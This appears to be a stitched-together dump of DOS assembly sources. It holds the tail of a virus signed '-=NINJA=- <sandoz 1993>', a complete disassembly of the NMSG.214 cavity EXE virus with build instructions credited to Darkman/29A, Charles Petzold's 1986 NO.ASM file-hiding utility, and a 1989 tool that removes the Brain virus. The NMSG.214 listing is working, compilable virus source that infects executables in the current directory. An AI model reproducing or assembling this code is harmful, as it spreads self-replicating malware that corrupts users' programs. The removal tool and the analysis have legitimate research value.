d_A2D8 db 0BBh ;041E BB
|
||||
d_A2D9 dw 0146h ;virus begin address ;041F 46 01
|
||||
dw 0E3FFh ;0421 FF E3
|
||||
|
||||
;<----- work bytes
|
||||
d_A2DD db 'COM' ;file extension pattern ;0423 43 4F 4D
|
||||
d_A2E0 dw 0556h,1232h ;old int 24h vector ;0426 56 05 32 12
|
||||
d_A2E4 dw 0 ;file attributes ;042A 00 00
|
||||
|
||||
;<----- just my way of sayin' howdy
|
||||
db '-=NINJA=- <sandoz 1993>' ;042C 50 43 2D 46 4C 55
|
||||
; 20 62 79 20 57 49
|
||||
; 5A 41 52 44 20 31
|
||||
; 39 39 31
|
||||
cseg ends
|
||||
|
||||
end l_0100
|
||||
|
|
@ -0,0 +1,174 @@
|
|||
comment *
|
||||
NMSG.214 ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
|
||||
Disassembly by ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
|
||||
Darkman/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
|
||||
ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
|
||||
ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
|
||||
|
||||
NMSG.214 is a runtime/direct action cavity EXE virus. Infects one file in
|
||||
current directory, by searching for an area of Microsoft C error messages
|
||||
and overwriting that area with the virus.
|
||||
|
||||
I would like to thank VirusBuster/29A for providing me with the binary of
|
||||
this virus.
|
||||
|
||||
To compile NMSG.214 with Turbo Assembler v 5.0 type:
|
||||
TASM /M NMSG_214.ASM
|
||||
TLINK /x NMSG_214.OBJ
|
||||
*
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
.186
|
||||
|
||||
code_begin:
|
||||
call delta_offset
|
||||
virus_begin:
|
||||
initial_csip:
|
||||
initial_ip dw 00h ; Initial IP
|
||||
initial_cs dw 0fff0h ; Initial CS relative to start of ...
|
||||
file_specifi db '*.exe',00h ; File specification
|
||||
string_begin:
|
||||
scan_string db '<<NMSG>>'
|
||||
string_end:
|
||||
delta_offset:
|
||||
pop bp ; Load BP from stack
|
||||
|
||||
push ds es ; Save segments at stack
|
||||
|
||||
mov ax,ss ; AX = stack segment
|
||||
add ah,10h ; AX = segment of buffer
|
||||
|
||||
mov bx,ds:[02h] ; BX = segment of first byte beyon...
|
||||
sub bx,ax ; Subtract stack segment from segm...
|
||||
cmp bh,10h ; Insufficient memory?
|
||||
jb virus_exit ; Below? Jump to virus_exit
|
||||
|
||||
mov es,ax ; ES = segment of buffer
|
||||
xor dx,dx ; DX = offset of Disk Transfer Ar...
|
||||
|
||||
|
||||
push ss ; Save SS at stack
|
||||
pop ds ; Load DS from stack (SS)
|
||||
|
||||
mov ah,1ah ; Set Disk Transfer Area address
|
||||
int 21h
|
||||
|
||||
mov ah,4eh ; Find first matching file (DTA)
|
||||
xor cx,cx ; CX = file attribute mask
|
||||
lea dx,[bp+(file_specifi-virus_begin)]
|
||||
|
||||
push cs ; Save CS at stack
|
||||
pop ds ; Load DS from stack (CS)
|
||||
|
||||
int 21h
|
||||
jc virus_exit ; Error? Jump to virus_exit
|
||||
examine_file:
|
||||
mov ax,ss:[1ch] ; AX = high-order word of file size
|
||||
or ax,ax ; Filesize too large?
|
||||
jnz find_next ; Not zero? Jump to find_next
|
||||
|
||||
clc ; Clear carry flag
|
||||
call read_file
|
||||
jc find_next ; Error? Jump to find_next
|
||||
shl word ptr ds:[0ch],01h
|
||||
jp find_next ; Too much addition... Jump to find_next
|
||||
|
||||
cld ; Clear direction flag
|
||||
lea si,[bp+(scan_string-virus_begin)]
|
||||
xor di,di ; Zero DI
|
||||
|
||||
push cs ; Save CS at stack
|
||||
pop ds ; Load DS from stack (CS)
|
||||
compare_loop:
|
||||
pusha ; Save all registers at stack
|
||||
mov cx,(string_end-string_begin)
|
||||
rep cmpsb ; Microsoft C error messages?
|
||||
popa ; Load all registers from stack
|
||||
je infect_file ; Equal? Jump to infect_file
|
||||
|
||||
inc di ; Increase index register
|
||||
|
||||
loop compare_loop
|
||||
find_next:
|
||||
mov ah,4fh ; Find next matching file (DTA)
|
||||
int 21h
|
||||
jnc examine_file ; No error? Jump to examine_file
|
||||
|
||||
int 17h
|
||||
virus_exit:
|
||||
pop es ds ; Load segments from stack
|
||||
|
||||
mov dx, 80h ; DX = offset of default Disk tran...
|
||||
mov ah,1ah ; Set Disk Transfer Area address
|
||||
int 21h
|
||||
|
||||
mov ax,cs ; AX = code segment
|
||||
add cs:[bp+(initial_cs-virus_begin)],ax
|
||||
jmp dword ptr cs:[bp+(initial_csip-virus_begin)]
|
||||
infect_file:
|
||||
mov bx,di ; BX = offset of virus within file
|
||||
lea si,[bp+(code_begin-virus_begin)]
|
||||
mov cx,(code_end-code_begin)
|
||||
rep movsb ; Move virus to Microsoft C error ...
|
||||
|
||||
push es ; Save ES at stack
|
||||
pop ds ; Load DS from stack (ES)
|
||||
|
||||
mov si,14h ; SI = offset of initial IP
|
||||
lea di,[bx+(initial_csip-code_begin)]
|
||||
push si ; Save SI at stack
|
||||
movsw ; Store initial IP
|
||||
movsw ; Store initial CS relative to sta...
|
||||
pop si ; Load SI from stack
|
||||
|
||||
mov [si+02h],cx ; Store initial CS relative to sta...
|
||||
mov ax,ds:[08h] ; AX = header size in paragraphs
|
||||
mov cl,04h ; Multiply header size in paragrap...
|
||||
shl ax,cl ; AX = header size
|
||||
sub bx,ax ; Subtract header size from initia...
|
||||
mov [si],bx ; Store initial IP
|
||||
|
||||
stc ; Set carry flag
|
||||
call write_file
|
||||
|
||||
jmp virus_exit
|
||||
|
||||
read_file proc near ; Read from file
|
||||
write_file proc near ; Write to file
|
||||
pushf ; Save flags at stack
|
||||
mov ax,3d00h ; Open file (read); Create or trun...
|
||||
sbb ah,al ; " " " " " "
|
||||
xor cx,cx ; CX = file attributes
|
||||
mov dx,1eh ; DX = offset of filename
|
||||
|
||||
push ss ; Save SS at stack
|
||||
pop ds ; Load DS from stack (SS)
|
||||
|
||||
int 21h
|
||||
mov bx,ax ; BX = file handle
|
||||
pop ax ; Load AX from stack (flags)
|
||||
jc error ; Error? Jump to error
|
||||
|
||||
mov cx,ds:[1ah] ; CX = low-order word of file size
|
||||
|
||||
push es ; Save ES at stack
|
||||
pop ds ; Load DS from stack (ES)
|
||||
|
||||
xor dx,dx ; Zero DX
|
||||
mov ah,al ; AH = low-order byte of flags
|
||||
sahf ; Store register AH into flags
|
||||
|
||||
mov ah,3fh ; Read from file; Write to file
|
||||
adc ah,dl ; " " " " " "
|
||||
int 21h
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
int 21h
|
||||
error:
|
||||
ret ; Return
|
||||
endp
|
||||
endp
|
||||
code_end:
|
||||
|
||||
end code_begin
|
|
@ -0,0 +1,312 @@
|
|||
; NO.ASM -- Hides specified files from command that follows
|
||||
; ======
|
||||
|
||||
CSEG Segment
|
||||
Assume CS:CSEG, DS:CSEG, ES:CSEG, SS:CSEG
|
||||
Org 002Ch
|
||||
Environment Label Word ; Segment of Environment is here
|
||||
Org 0080h
|
||||
Parameter Label Byte ; Parameter is here
|
||||
Org 0100h
|
||||
Entry: Jmp Begin ; Entry Point
|
||||
|
||||
; Most Data (some more at end of program)
|
||||
; ---------------------------------------
|
||||
|
||||
db "Copyright 1986 Ziff-Davis Publishing Co.",1Ah
|
||||
db " Programmed by Charles Petzold ",1Ah
|
||||
SyntaxMsg db "Syntax: NO filespec command [parameters]$"
|
||||
DosVersMsg db "NO: Needs DOS 2.0 +$"
|
||||
FileSpecMsg db "NO: Incorrect File Spec$"
|
||||
TooManyMsg db "NO: Too many files to hide$"
|
||||
MemAllocMsg db "NO: Allocation Problem$"
|
||||
CommandMsg db "NO: COMMAND Problem$"
|
||||
Delimiters db 9,' ,;='
|
||||
FileList dw ? ; Storage of found files
|
||||
FileCount dw 0 ; Count of found files
|
||||
FileListEnd dw ? ; End of storage of found files
|
||||
BreakState db ? ; Store original break state here
|
||||
Comspec db 'COMSPEC=' ; String for Environment search
|
||||
ParamBlock dw ? ; Parameter block for EXEC call
|
||||
dw ?, ?
|
||||
dw 5Ch, ?
|
||||
dw 6Ch, ?
|
||||
StackPointer dw ? ; Save SP during EXEC call
|
||||
|
||||
; Check DOS Version
|
||||
; -----------------
|
||||
|
||||
Begin: Mov AH, 30h ; Check for DOS Version
|
||||
Int 21h ; through DOS call
|
||||
Cmp AL, 2 ; See if it's 2.0 or above
|
||||
Jae DosVersOK ; If so, continue
|
||||
|
||||
Mov DX, Offset DosVersMsg ; Error message
|
||||
ErrorExit: Mov AH, 9 ; Print String function call
|
||||
Int 21h ; Do it
|
||||
Int 20h ; And exit prematurely
|
||||
|
||||
; Parse Command Line to get NO File specification
|
||||
; -----------------------------------------------
|
||||
|
||||
ScanParam: Lodsb ; SUBROUTINE: Get byte
|
||||
Cmp AL, 13 ; See if end of parameter
|
||||
Je ErrorExit ; If so, exit
|
||||
Mov DI, Offset Delimiters ; Check if delimiter
|
||||
Mov CX, 5 ; There are 5 of them
|
||||
Repne Scasb ; Scan the string
|
||||
Ret ; And return
|
||||
|
||||
DosVersOK: Mov DX, Offset SyntaxMsg ; Possible error msg
|
||||
Mov SI, 1+Offset Parameter ; NO Parameter string
|
||||
Cld ; Directions forward
|
||||
|
||||
BegSearch: Call ScanParam ; Check byte in subroutine
|
||||
Je BegSearch ; If delimiter, keep searching
|
||||
Mov BX, SI ; Save pointer in BX
|
||||
Dec BX ; BX points to NO file spec
|
||||
|
||||
EndSearch: Call ScanParam ; Check byte in subroutine
|
||||
Jne EndSearch ; If not delimiter, keep going
|
||||
|
||||
; Construct full FilePath and save down at end of program
|
||||
; -------------------------------------------------------
|
||||
|
||||
Dec SI ; Points after NO file spec
|
||||
Xchg SI, BX ; SI points to beg, BX to end
|
||||
Mov DI, Offset FullPath ; Points to destination
|
||||
Cmp Byte Ptr [SI + 1], ':' ; See if drive spec included
|
||||
Jnz GetDrive ; If not, must get the drive
|
||||
Lodsw ; Otherwise, grab drive spec
|
||||
And AL, 0DFh ; Capitalize drive letter
|
||||
Jmp Short SaveDrive ; And skip next section
|
||||
|
||||
GetDrive: Mov AH, 19h ; Get current drive
|
||||
Int 21h ; through DOS
|
||||
Add AL, 'A' ; Convert to letter
|
||||
Mov AH, ':' ; Colon after drive letter
|
||||
|
||||
SaveDrive: Stosw ; Save drive spec and colon
|
||||
Mov AL, '\' ; Directory divider byte
|
||||
Cmp [SI], AL ; See if spec starts at root
|
||||
Jz HaveFullPath ; If so, no need to get path
|
||||
Stosb ; Store that character
|
||||
Push SI ; Save pointer to parameter
|
||||
Mov SI, DI ; Destination of current path
|
||||
Mov DL, [SI - 3] ; Drive letter specification
|
||||
Sub DL, '@' ; Convert to number
|
||||
Mov AH, 47h ; Get current directory
|
||||
Int 21h ; through DOS
|
||||
Mov DX, Offset FileSpecMsg ; Possible error message
|
||||
Jc ErrorExit ; Exit if error
|
||||
Sub AL, AL ; Search for terminating zero
|
||||
Cmp [SI], AL ; Check if Root Directory
|
||||
Jz RootDir ; If so, don't use it
|
||||
Mov CX, 64 ; Number of bytes to search
|
||||
Repnz Scasb ; Do the search
|
||||
Dec DI ; DI points to last zero
|
||||
Mov AL, '\' ; Put a backslash in there
|
||||
Stosb ; So filespec can follow
|
||||
RootDir: Pop SI ; Get back SI
|
||||
|
||||
HaveFullPath: Mov CX, BX ; End of NO file spec
|
||||
Sub CX, SI ; Number of bytes to transfer
|
||||
Rep Movsb ; Transfer them
|
||||
Sub AL, AL ; Terminating zero
|
||||
Stosb ; Save it
|
||||
Mov [FileList], DI ; Repository for found files
|
||||
|
||||
; Fix up parameter and ParamBlock for eventual COMMAND load
|
||||
; ---------------------------------------------------------
|
||||
|
||||
Sub BX, 4 ; Points to new param begin
|
||||
Mov AL, [Parameter] ; Old byte count of parameter
|
||||
Add AL, 80h ; Add beginning of old param
|
||||
Sub AL, BL ; Subtract beginning of new
|
||||
Mov AH, ' ' ; Space separator
|
||||
Mov Word Ptr [BX], AX ; Store it
|
||||
Mov Word Ptr [BX + 2], 'C/' ; Add /C to beginning of rest
|
||||
Mov AX, [Environment] ; Get environment segment
|
||||
Mov [ParamBlock], AX ; Save it
|
||||
Mov [ParamBlock + 2], BX ; Save parameter pointer
|
||||
Mov [ParamBlock + 4], CS ; Save segment of ParamBlock
|
||||
Mov [ParamBlock + 8], CS
|
||||
Mov [ParamBlock + 10], CS
|
||||
|
||||
; Find Files from NO File Specification
|
||||
; -------------------------------------
|
||||
|
||||
Mov DX, Offset DTABuffer ; Set File Find buffer
|
||||
Mov AH, 1Ah ; by calling DOS
|
||||
Int 21h
|
||||
|
||||
Mov DI, [FileList] ; Address of destination
|
||||
Mov DX, Offset FullPath ; Search string
|
||||
Sub CX, CX ; Search Normal files only
|
||||
Mov AH, 4Eh ; Find first file
|
||||
|
||||
FindFile: Int 21h ; Call DOS to find file
|
||||
Jnc Continue ; If no error continue
|
||||
Cmp AX, 18 ; If no more files
|
||||
Jz NoMoreFiles ; get out of the loop
|
||||
Mov DX, Offset FileSpecMsg ; Error message otherwise
|
||||
Jmp ErrorExit ; Exit and print message
|
||||
|
||||
Continue: Mov AX, DI ; Address of destination
|
||||
Add AX, 512 ; See if near top of segment
|
||||
Jc TooManyFiles ; If so, too many files
|
||||
Cmp AX, SP ; See if getting too many
|
||||
Jb StillOK ; If not, continue
|
||||
|
||||
TooManyFiles: Mov DX, Offset TooManyMsg ; Otherwise error message
|
||||
Jmp ErrorExit ; And terminate
|
||||
|
||||
StillOK: Mov SI, 30+Offset DTABuffer ; Points to filename
|
||||
Call AsciizTransfer ; Transfer it to list
|
||||
Inc [FileCount] ; Kick up counter
|
||||
Mov AH, 4Fh ; Find next file
|
||||
Jmp FindFile ; By looping around
|
||||
|
||||
NoMoreFiles: Mov [FileListEnd], DI ; Points after last file
|
||||
Mov DI, [FileList] ; Points to end of find string
|
||||
Mov CX, 64 ; Search up to 64 bytes
|
||||
Mov AL, '\' ; For the backslash
|
||||
Std ; Search backwards
|
||||
Repnz Scasb ; Do the search
|
||||
Mov Byte Ptr [DI + 2], 0 ; Stick zero in there
|
||||
Cld ; Fix up direction flag
|
||||
|
||||
; Stop Ctrl-Break Exits and Hide the files
|
||||
; ----------------------------------------
|
||||
|
||||
Mov AX,3300h ; Get Break State
|
||||
Int 21h ; By calling DOS
|
||||
Mov [BreakState],DL ; Save it
|
||||
Sub DL,DL ; Set it to OFF
|
||||
Mov AX,3301h ; Set Break State
|
||||
Int 21h ; By calling DOS
|
||||
Mov BL, 0FFh ; Value to AND attribute
|
||||
Mov BH, 02h ; Value to OR attribute
|
||||
Call ChangeFileMode ; Hide all the files
|
||||
|
||||
; Un-allocate rest of memory
|
||||
; --------------------------
|
||||
|
||||
Mov BX, [FileListEnd] ; Beyond this we don't need
|
||||
Add BX, 512 ; Allow 512 bytes for stack
|
||||
Mov SP, BX ; Set new stack pointer
|
||||
Add BX, 15 ; Prepare for truncation
|
||||
Mov CL,4 ; Prepare for shift
|
||||
Shr BX,CL ; Convert to segment form
|
||||
Mov AH,4Ah ; Shrink allocated memory
|
||||
Int 21h ; By calling DOS
|
||||
Mov DX,Offset MemAllocMsg ; Possible Error Message
|
||||
Jc ErrorExit2 ; Print it and terminate
|
||||
|
||||
; Search for Comspec in Environment
|
||||
; ---------------------------------
|
||||
|
||||
Push ES ; We'll be changing this
|
||||
Mov ES, [Environment] ; Set ES to Environment
|
||||
Sub DI, DI ; Start at the beginning
|
||||
Mov SI, Offset ComSpec ; String to search for
|
||||
Mov DX, Offset CommandMsg ; Possible error message
|
||||
|
||||
TryThis: Cmp Byte Ptr ES:[DI], 0 ; See if points to zero
|
||||
Jz ErrorExit2 ; If so, we can't go on
|
||||
Push SI ; Temporarily save these
|
||||
Push DI
|
||||
Mov CX, 8 ; Search string has 8 chars
|
||||
Repz Cmpsb ; Do the string compare
|
||||
Pop DI ; Get back the registers
|
||||
Pop SI
|
||||
Jz LoadCommand ; If equals, we've found it
|
||||
Sub AL, AL ; Otherwise search for zero
|
||||
Mov CX, -1 ; For 'infinite' bytes
|
||||
Repnz Scasb ; Do the search
|
||||
Jmp TryThis ; And try the next string
|
||||
|
||||
; Load COMMAND.COM
|
||||
; -----------------
|
||||
|
||||
LoadCommand: Add DI, 8 ; so points after 'COMSPEC='
|
||||
Push DS ; Switch DS and ES registers
|
||||
Push ES
|
||||
Pop DS
|
||||
Pop ES
|
||||
Mov [StackPointer],SP ; Save Stack Pointer
|
||||
Mov DX, DI ; DS:DX = Asciiz of COMMAND
|
||||
Mov BX, Offset ParamBlock ; ES:BX = parameter block
|
||||
Mov AX, 4B00h ; EXEC function call
|
||||
Int 21h ; Load command processor
|
||||
|
||||
; Return from COMMAND.COM
|
||||
; -----------------------
|
||||
|
||||
Mov AX, CS ; Current code segment
|
||||
Mov DS, AX ; Reset DS to this segment
|
||||
Mov ES, AX ; Reset ES to this segment
|
||||
Mov SS, AX ; Reset stack segment to it
|
||||
Mov SP, [StackPointer] ; Reset SP
|
||||
Pushf ; Save error flag
|
||||
Sub DL,DL ; Set Ctrl Break to OFF
|
||||
Mov AX,3301h
|
||||
Int 21h ; By calling DOS
|
||||
Popf ; Get back error flag
|
||||
Mov DX,Offset CommandMsg ; Set up possible error msg
|
||||
Jnc Terminate ; And print if EXEC error
|
||||
|
||||
; Unhide the Files, restore Ctrl-Break state, and exit
|
||||
; ----------------------------------------------------
|
||||
|
||||
ErrorExit2: Mov AH,9 ; Will print the string
|
||||
Int 21h ; Print it
|
||||
Terminate: Mov BL, 0FDh ; AND value for change
|
||||
Mov BH, 00h ; OR value for change
|
||||
Call ChangeFileMode ; Change file attributes
|
||||
Mov DL,[BreakState] ; Original break-state
|
||||
Mov AX,3301h ; Change the break-state
|
||||
Int 21h ; by calling DOS
|
||||
Int 20h ; Terminate
|
||||
|
||||
; SUBROUTINE: Change File Mode (All files, BL = AND, BH = OR)
|
||||
; -----------------------------------------------------------
|
||||
|
||||
ChangeFileMode: Mov CX, [FileCount] ; Number of files
|
||||
Jcxz EndOfChange ; If no files, do nothing
|
||||
Mov SI, [FileList] ; Beginning of list
|
||||
Mov DX, [FileListEnd] ; End of List
|
||||
ChangeLoop: Push SI ; Save pointer
|
||||
Mov SI, Offset FullPath ; Preceeding path string
|
||||
Mov DI, DX ; Destination of full name
|
||||
Call AsciizTransfer ; Transfer it
|
||||
Dec DI ; Back up to end zero
|
||||
Pop SI ; Get back pointer to filename
|
||||
Call AsciizTransfer ; Transfer it
|
||||
Push CX ; Save the counter
|
||||
Mov AX, 4300h ; Get attribute
|
||||
Int 21h ; by calling DOS
|
||||
And CL, BL ; AND with BL
|
||||
Or CL, BH ; OR with BH
|
||||
Mov AX, 4301h ; Now set attribute
|
||||
Int 21h ; by calling DOS
|
||||
Pop CX ; Get back counter
|
||||
Loop ChangeLoop ; And do it again if necessary
|
||||
EndOfChange: Ret ; End of subroutine
|
||||
|
||||
; SUBROUTINE: Asciiz String Transfer (SI, DI in, returned incremented)
|
||||
; --------------------------------------------------------------------
|
||||
|
||||
AsciizTransfer: Movsb ; Transfer Byte
|
||||
Cmp Byte Ptr [DI - 1], 0 ; See if it was end
|
||||
Jnz AsciizTransfer ; If not, loop
|
||||
Ret ; Or leave subroutine
|
||||
|
||||
; Variable length data stored at end
|
||||
; ----------------------------------
|
||||
|
||||
DTABuffer Label Byte ; For file find calls
|
||||
FullPath equ DTABuffer + 43 ; For file path and names
|
||||
CSEG EndS ; End of the segment
|
||||
End Entry ; Denotes entry point
|
||||
|
|
@ -0,0 +1,331 @@
|
|||
; Date : 27-1-1989
|
||||
; Ver : 1.04
|
||||
; Program : Kill the Brain Virus
|
||||
Cseg Segment Para Public 'MyCode'
|
||||
Assume cs:Cseg,ds:Cseg
|
||||
Org 100h
|
||||
Start: Mov dx,offset CRight ;print copyright notice
|
||||
Call DispStr
|
||||
Mov ah,19h ;get current drive
|
||||
Int 21h
|
||||
Mov Drive,al ;save it
|
||||
Call GetDrive ;Get drive if possible
|
||||
Jc Exit
|
||||
Call ChVirus ;virus present?
|
||||
Jc Exit ;exit if not
|
||||
Call FindBoot ;Find correct boot sector
|
||||
Mov dx,offset VirusKill
|
||||
Call DispStr
|
||||
Call ReadFats ;Read the FAT tables
|
||||
Jc Exit
|
||||
Call CheckBad
|
||||
Exit: Mov ax,4C00h
|
||||
Int 21h
|
||||
FindBoot Proc
|
||||
Mov dl,[si+6]
|
||||
Mov ax,18 ;9 sectors/track * 2 sides
|
||||
Mov cl,[si+8]
|
||||
Mul cl
|
||||
Or dl,dl
|
||||
Jz Fb1
|
||||
Add ax,10 ;Move to the next side
|
||||
Fb1: Mov dx,ax ;read this sector
|
||||
Mov cx,1 ;Read one sector
|
||||
Mov bx,offset PrgEnd ;Read it here
|
||||
Mov al,Drive ;Get drive number
|
||||
Int 25h ;Read interrupt
|
||||
Jnc Fb2
|
||||
Add sp,2
|
||||
Mov dx,offset MesOh1
|
||||
Call DispStr
|
||||
Stc
|
||||
Ret
|
||||
Fb2: Add sp,2
|
||||
Xor dx,dx ;Write at boot
|
||||
Mov cx,1 ;Write one sector
|
||||
Mov bx,offset PrgEnd ;Write from here
|
||||
Mov al,Drive ;Get drive number
|
||||
Int 26h ;Write interrupt
|
||||
Jnc Fb3
|
||||
Add sp,2
|
||||
Mov dx,offset MesOh2 ;Print message
|
||||
Call DispStr
|
||||
Stc
|
||||
Ret
|
||||
Fb3: Add sp,2
|
||||
Clc
|
||||
Ret
|
||||
FindBoot Endp
|
||||
PointTo Proc
|
||||
Push bx
|
||||
Mov dx,ax
|
||||
Add ax,ax
|
||||
Add ax,dx
|
||||
Mov dx,ax
|
||||
Shr ax,1 ;Cluster * 1.5
|
||||
Mov bx,offset PrgEnd
|
||||
Add bx,ax
|
||||
Mov ax,ds:[bx] ;Get entry
|
||||
Test dx,1
|
||||
Jnz Point1
|
||||
And ax,0FFFh
|
||||
Jmp short Point0
|
||||
Point1: Shr ax,1
|
||||
Shr ax,1
|
||||
Shr ax,1
|
||||
Shr ax,1
|
||||
Point0: Pop bx
|
||||
Ret
|
||||
PointTo Endp
|
||||
ReadFats Proc
|
||||
Mov bx,offset PrgEnd
|
||||
Mov al,Drive
|
||||
Mov cx,4 ;read FAT1 and FAT2
|
||||
Mov dx,1 ;FAT sectors
|
||||
Int 25h ;Read FAT tables
|
||||
Jnc Rf1
|
||||
Add sp,2
|
||||
Mov dx,offset FatError
|
||||
Call DispStr
|
||||
Stc
|
||||
Ret
|
||||
Rf1: Add sp,2
|
||||
Clc
|
||||
Ret
|
||||
ReadFats Endp
|
||||
|
||||
CheckBad Proc
|
||||
Call FindBad ;Find real boot sector
|
||||
Call WriteFats
|
||||
Exit1: Ret
|
||||
CheckBad Endp
|
||||
FindBad Proc
|
||||
Mov cx,354 ;Check 354 clusters
|
||||
Mov ax,2 ;start with cluster 2
|
||||
Mov bx,ax
|
||||
FM: Call PointTo ;Find where it points
|
||||
Cmp ax,0FF7h ;Is it bad?
|
||||
Jz ChkBd ;Check if realy bad
|
||||
FindMore1: Inc bx
|
||||
Mov ax,bx
|
||||
Loop FM
|
||||
Ret
|
||||
ChkBd: Push ax
|
||||
Call CheckCluster ;bx=cluster number, try to read
|
||||
Pop ax
|
||||
Jmp short FindMore1
|
||||
FindBad Endp
|
||||
WriteFats Proc
|
||||
Mov bx,offset PrgEnd
|
||||
Mov al,Drive
|
||||
Mov cx,4 ;FAT1 and FAT2
|
||||
Mov dx,1 ;Start of FAT sectors
|
||||
Int 26h ;Write FAT tables
|
||||
Jnc Wf1 ;Jump if not fail
|
||||
Add sp,2
|
||||
Mov dx,offset MesOh3 ;Write error
|
||||
Call DispStr
|
||||
Stc
|
||||
Ret
|
||||
Wf1: Add sp,2
|
||||
Clc
|
||||
Ret
|
||||
WriteFats Endp
|
||||
CheckCluster Proc
|
||||
Push bx
|
||||
Push cx
|
||||
Sub bx,2
|
||||
Sal bx,1
|
||||
Add bx,12 ;bx=sector number
|
||||
Mov dx,bx ;sector
|
||||
Mov cx,2 ;2 sectors
|
||||
Mov bx,offset PrgEnd+205
|
||||
Mov al,Drive
|
||||
Int 25h ;Read sectors
|
||||
Jnc QRc1
|
||||
Add sp,2
|
||||
Mov al,2 ;err 2=try more
|
||||
Pop cx
|
||||
Pop bx
|
||||
Ret
|
||||
QRc1: Add sp,2
|
||||
Pop cx
|
||||
Pop bx ;Mark cluster bx as not bad
|
||||
Mov ax,bx
|
||||
Push bx
|
||||
Mov dx,ax
|
||||
Add ax,ax
|
||||
Add ax,dx
|
||||
Mov dx,ax
|
||||
Shr ax,1 ;Cluster * 1.5
|
||||
Mov bx,offset PrgEnd
|
||||
Add bx,ax
|
||||
Mov ax,ds:[bx] ;Get entry
|
||||
Test dx,1
|
||||
Jnz QPo1
|
||||
And ax,0F000h
|
||||
Jmp short QPo2
|
||||
QPo1: And ax,000Fh
|
||||
QPo2: Mov ds:[bx],ax ;Write entry to FAT1
|
||||
Mov ds:[bx+1024],ax ;Write entry to FAT2
|
||||
Pop bx
|
||||
Ret
|
||||
CheckCluster Endp
|
||||
|
||||
ChVirus Proc
|
||||
Call ReadBoot ;Read the boot sector
|
||||
Jnc ChVirus1
|
||||
Ret
|
||||
ChVirus1: Mov si,offset PrgEnd
|
||||
Mov dx,offset MesBad ;Assume bad news
|
||||
Cmp word ptr [si+4],1234h
|
||||
Jz InThere
|
||||
Mov dx,offset MesGood ;Assume all OK
|
||||
Mov di,436 ;Vector of interrupt 13h
|
||||
Push es
|
||||
Xor ax,ax
|
||||
Mov es,ax
|
||||
Mov ax,es:[di+2] ;get segment of the interrupt
|
||||
Pop es
|
||||
Cmp ax,0C800h
|
||||
Jb InThere
|
||||
Mov dx,offset MesBad1 ;active now!
|
||||
Call DispStr
|
||||
Mov bx,offset PrgEnd
|
||||
Mov ah,2 ;Read
|
||||
Mov al,1 ;1 sector
|
||||
Mov dl,Drive
|
||||
Xor dh,dh ;head number
|
||||
Xor ch,ch ;track number
|
||||
Mov cl,1 ;sector 1
|
||||
Int 6Dh ;Virus uses interrupt 6Dh
|
||||
Mov si,offset PrgEnd
|
||||
Mov dx,offset MesBad
|
||||
Cmp word ptr [si+4],1234h
|
||||
Jz InThere1
|
||||
Mov dx,offset MesGood
|
||||
Call DispStr
|
||||
Stc ;No need to do more.
|
||||
Ret
|
||||
InThere: Call DispStr
|
||||
Clc ;Do more
|
||||
Ret
|
||||
InThere1: Call DispStr ;write bad news
|
||||
Mov dx,offset MesBad2 ;No lasting effect
|
||||
Jmp short InThere
|
||||
ChVirus Endp
|
||||
ReadBoot Proc
|
||||
Mov bx,offset PrgEnd ;Put it here
|
||||
Mov al,Drive ;Drive to use
|
||||
Mov cx,1 ;One sector
|
||||
Xor dx,dx ;Boot sector
|
||||
Int 25h ;Read it
|
||||
Jnc P0
|
||||
Add sp,2
|
||||
Mov dx,offset MesBoot
|
||||
Cmp ah,80h ;Time-out?
|
||||
Jz P1
|
||||
Mov dx,offset MesBoot1
|
||||
P1: Call DispStr
|
||||
Stc ;Error
|
||||
Ret ;Go
|
||||
P0: Add sp,2
|
||||
Clc ;No error
|
||||
Ret ;Go
|
||||
ReadBoot Endp
|
||||
GetDrive Proc
|
||||
Mov si,80h
|
||||
Mov cl,[si] ;Get length of command tail
|
||||
Xor ch,ch
|
||||
Or cx,cx
|
||||
Jnz Lab1
|
||||
Cmp byte ptr Drive,2
|
||||
Jae DriveError1
|
||||
Clc
|
||||
Ret
|
||||
Lab1: Add si,cx
|
||||
Inc si
|
||||
Mov byte ptr [si],0 ;Command ends with 0
|
||||
Mov si,81h
|
||||
Cld
|
||||
SpOut: Lodsb
|
||||
Cmp al,32
|
||||
Jz SpOut ;Skip blanks
|
||||
Or al,al
|
||||
Jnz Stan1
|
||||
Ret
|
||||
|
||||
Stan1: Lodsb
|
||||
Or al,al
|
||||
Jnz Check1
|
||||
Ret
|
||||
Check1: Cmp al,':'
|
||||
Jnz Stan1
|
||||
Cmp si,84h
|
||||
DriveCheck: Jb DriveError
|
||||
Mov al,[si-2]
|
||||
And al,223 ;Convert to upper case
|
||||
Cmp al,'A'
|
||||
Jb DriveError1
|
||||
Cmp al,'B'
|
||||
Ja DriveError1
|
||||
Sub al,65 ;Convert drive to 0 or 1
|
||||
Mov Drive,al
|
||||
Clc
|
||||
Ret
|
||||
DriveError: Mov dx,offset Err8 ;Drive expected
|
||||
Call DispStr
|
||||
Stc
|
||||
Ret
|
||||
DriveError1: Mov dx,offset Err9 ;Invalid drive
|
||||
Call DispStr
|
||||
Stc
|
||||
Ret
|
||||
GetDrive Endp
|
||||
DispStr Proc
|
||||
Mov ah,9
|
||||
Int 21h
|
||||
Ret
|
||||
DispStr Endp
|
||||
|
||||
CRight db 13,10
|
||||
db 'Kill the <Brain> virus Ver 1.04, 27-1-1989',13,10
|
||||
db '(C) Fragakis Stelios 1988,1989',13,10,13,10,'$'
|
||||
|
||||
|
||||
Err8 db 'Error 8 : Drive expected.$'
|
||||
Err9 db 'Error 9 : Invalid drive specified. Must be A or B.$'
|
||||
MesBoot db 13,10
|
||||
db 'Program execution aborted. Door open?',13,10,'$'
|
||||
MesBoot1 db 13,10
|
||||
db 'I can not read the boot sector.',13,10
|
||||
db 'Disk can not contain the virus <Brain>.',13,10,'$'
|
||||
FatError db 13,10
|
||||
db 'Sorry, I can not read the FAT tables.',13,10
|
||||
db 'FAT corrections not written to disk.',13,10,'$'
|
||||
VirusKill db 'Virus <Brain> was successfully killed.',13,10,'$'
|
||||
